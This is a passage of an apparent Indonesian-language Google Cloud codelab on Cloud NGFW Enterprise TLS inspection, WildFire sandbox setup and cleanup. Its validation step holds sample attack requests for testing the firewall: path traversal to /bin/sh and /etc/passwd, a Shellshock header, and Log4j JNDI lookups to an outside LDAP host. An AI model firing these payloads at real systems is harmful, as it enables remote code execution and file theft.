ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
Impor konfigurasi kepercayaan:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Perbarui file YAML Kebijakan TLS untuk menyertakan konfigurasi kepercayaan:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Impor Kebijakan TLS yang telah diperbarui:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Memvalidasi Pemeriksaan TLS E/W
Lakukan SSH kembali ke klien untuk menguji traffic E/W dengan konfigurasi kepercayaan yang telah diperbarui:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Jika Anda masih mendapatkan output di bawah, tunggu hingga update diterapkan.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Output yang diharapkan:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Kirim traffic pengujian berbahaya ke server:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa serangan sampel kini diblokir untuk E/W.
13. Logging
Buka Logging > Logs Explorer melalui Konsol Cloud, masukkan filter di bawah, dan buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Entri log Cloud NGFW Enterprise akan terlihat seperti di bawah ini:

Luaskan entri log dan perhatikan bahwa serangan yang dikirim dari VM klien ke server telah diidentifikasi dan diblokir (Apache Log4j Remote Code Execution Vulnerability seperti yang ditunjukkan pada screenshot di bawah).

Anda telah berhasil men-deploy Cloud NGFW Enterprise dengan TLS Inspection untuk memblokir permintaan berbahaya.
Lanjutkan ke bagian berikutnya untuk mengonfigurasi dan memvalidasi Sandbox malware lanjutan (WildFire) (opsional), atau langsung ke Langkah-langkah pembersihan.
14. [Opsional] Mengonfigurasi Sandbox Malware Lanjutan (WildFire)
Sandbox malware lanjutan (WildFire) memperluas pencegahan ancaman Cloud NGFW Enterprise dengan memeriksa file dalam pengiriman dan mengirimkan file yang tidak dikenal ke sandbox berbasis cloud (didukung oleh Palo Alto Networks Advanced WildFire) untuk analisis perilaku yang mendalam.
Menyetujui EULA Sandbox Malware Lanjutan
Sebelum mengaktifkan Sandbox malware lanjutan di endpoint firewall, Anda harus meninjau dan menyetujui Perjanjian Lisensi Pengguna Akhir (EULA) satu kali di project penagihan Anda ($billing_project). EULA hanya dapat disetujui di Konsol Google Cloud: buka Keamanan Jaringan > Firewall endpoints, edit endpoint $prefix-$zone, pilih Enable Advanced malware sandbox (WildFire) di bagian Advanced configuration, lalu klik Agree and continue.
Mengaktifkan Sandbox Malware Lanjutan di Endpoint Firewall
Aktifkan Sandbox malware lanjutan di endpoint firewall $prefix-$zone yang ada menggunakan gcloud network-security firewall-endpoints update:
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
Pastikan Sandbox malware lanjutan diaktifkan di endpoint firewall:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
Output yang diharapkan (verifikasi wildfireSettings: enabled: true dan state: ACTIVE):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
Membuat dan Mengonfigurasi Profil Keamanan WILDFIRE_ANALYSIS
Buat profil keamanan Sandbox malware lanjutan (WILDFIRE_ANALYSIS) bernama $prefix-sp-wildfire:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
Selanjutnya, tambahkan aturan pengiriman asinkron untuk mengirimkan file APK dalam arah upload dan download (--direction=BOTH):
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
Periksa profil keamanan WILDFIRE_ANALYSIS yang dikonfigurasi:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
Output yang diharapkan:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
Memperbarui Security Profile Group ($prefix-spg)
Update $prefix-spg untuk melampirkan $prefix-sp-wildfire:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
Output yang diharapkan:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
Karena Aturan Kebijakan Firewall 900 (EGRESS di atas tcp:443 dengan --action=apply_security_profile_group dan --tls-inspect) sudah mereferensikan $prefix-spg, download file HTTPS terenkripsi yang dimulai dari $prefix-$zone-client akan otomatis didekripsi oleh pemeriksaan TLS dan dievaluasi oleh Sandbox malware lanjutan tanpa memerlukan perubahan aturan kebijakan firewall.
15. [Opsional] Memvalidasi Pengiriman File dan Forensik Sandbox Malware Lanjutan
Menguji Pengiriman Sandbox Asinkron dan Pemfilteran Jenis File
Hubungkan ke VM klien ($prefix-$zone-client) melalui Identity-Aware Proxy (IAP):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Dari VM klien, download file APK pengujian publik Palo Alto Networks melalui HTTPS:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
Selanjutnya, download file ELF pengujian publik Palo Alto Networks melalui HTTPS:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
Karena aturan pengiriman kita di $prefix-sp-wildfire hanya menargetkan file APK (--file-types=APK), firewall tidak mengirimkan file ELF ke Sandbox malware lanjutan.
Keluar dari terminal VM klien dan kembali ke Cloud Shell.
Memverifikasi WildfireSubmissionLog di Cloud Logging
Buka Logging > Logs Explorer melalui Konsol Cloud, masukkan filter di bawah, dan buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
Setelah analisis sandbox selesai (biasanya dalam beberapa menit), entri WildfireSubmissionLog akan muncul untuk download file APK, sedangkan tidak ada log pengiriman yang dibuat untuk download file ELF (jika tidak ada entri log yang muncul setelah beberapa menit, tunggu hingga jendela propagasi Grup Profil Keamanan selama 15 menit selesai dan jalankan ulang download curl). Luaskan entri log dan perhatikan bahwa payload JSON-nya mirip dengan berikut ini:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
Perhatikan kolom kunci di wildfireDetails:
fileType: "APK"dansubtype: "WILDFIRE"mengonfirmasi analisis sandbox asinkron dari transferAPK.fileadalah nama file yang disediakan oleh server (wildfire-test-apk-file.apk), yang mungkin berbeda dari nama file lokal yang digunakan dengancurl -o.hashmengidentifikasi ringkasan SHA-256 unik dari sampel pengujian.verdictdanseverityditentukan oleh analisis sandbox.reportUridansampleUrimenyediakan link langsung untuk mengambil laporan analisis dinamis dan sampel yang dikirimkan.
Melihat Pengiriman dan Mendownload Artefak Forensik
Buka Keamanan Jaringan > NGFW Enterprise logs > Advanced malware sandbox submissions melalui Konsol Cloud, lalu pilih project Anda. Klik entri wildfire-test-apk-file.apk untuk melihat detail pengiriman, termasuk hash SHA-256 file, putusan, dan endpoint firewall. Dari Tindakan lainnya untuk pengiriman, Anda dapat memilih Download laporan analisis untuk mendownload laporan analisis dinamis PDF, atau Download sampel malware untuk mendownload file yang dikirimkan.
Atau, Anda dapat mendownload laporan analisis dan sampel dari Cloud Shell menggunakan nilai reportUri dan sampleUri dari entri WildfireSubmissionLog:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. Langkah-langkah Pembersihan
Pembersihan Penyiapan Dasar
Hapus instance:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Hapus kunci dan nilai Tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Hapus Kebijakan Jaringan Cloud Firewall dan pengaitannya:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Hapus Cloud Router dan Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Hapus alamat IP yang dicadangkan:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Pembersihan SPG, Pengaitan, dan TLS Cloud Firewall
Hapus Grup Profil Keamanan dan Profil Keamanan dalam urutan ini (jika Anda menyelesaikan bagian Sandbox malware lanjutan opsional, jalankan juga perintah untuk menghapus $prefix-sp-wildfire setelah $prefix-spg dihapus):
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Hapus pengaitan endpoint Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Secara opsional, pastikan endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Status untuk endpoint akan menampilkan:
STATE: DELETING
Setelah selesai, endpoint tidak akan tercantum lagi.
Hapus Kebijakan TLS dan Konfigurasi Trust dengan urutan berikut:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Nonaktifkan dan hapus Root CA dan CA Pool:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Pembersihan Subnet dan VPC
Terakhir, hapus subnet dan jaringan VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. Selamat!
Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk Inspeksi TLS East-West dan Northbound.